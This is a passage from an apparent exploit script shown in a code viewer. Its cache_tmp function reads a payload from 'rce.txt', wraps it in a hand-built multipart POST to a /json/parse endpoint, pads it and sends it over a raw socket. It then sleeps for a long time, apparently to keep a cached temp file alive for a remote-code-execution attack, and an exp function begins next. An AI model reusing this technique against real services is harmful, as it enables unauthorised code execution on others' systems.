()
| 9 | |
| 10 | |
| 11 | def cache_tmp(): |
| 12 | filepath = "./rce.txt" |
| 13 | with open(filepath, "rb") as f: |
| 14 | raw_data = f.read().strip() |
| 15 | data_hex = raw_data.hex() |
| 16 | a = data_hex |
| 17 | a = b"""POST /json/parse HTTP/1.1 |
| 18 | Host: 127.0.0.1:8080 |
| 19 | Accept-Encoding: gzip, deflate |
| 20 | Accept: */* |
| 21 | Content-Type: multipart/form-data; boundary=xxxxxx |
| 22 | User-Agent: python-requests/2.32.3 |
| 23 | Content-Length: 1296800 |
| 24 | |
| 25 | --xxxxxx |
| 26 | Content-Disposition: form-data; name="file"; filename="a.txt" |
| 27 | |
| 28 | {{payload}} |
| 29 | """.replace( |
| 30 | b"\n", b"\r\n" |
| 31 | ).replace( |
| 32 | b"{{payload}}", bytes.fromhex(a) + b"0" * 1024 * 11 |
| 33 | ) |
| 34 | s = socket.socket() |
| 35 | s.connect((HOST, PORT)) |
| 36 | s.sendall(a) |
| 37 | time.sleep(1111111) |
| 38 | |
| 39 | |
| 40 | def exp(): |
nothing calls this directly
no outgoing calls
no test coverage detected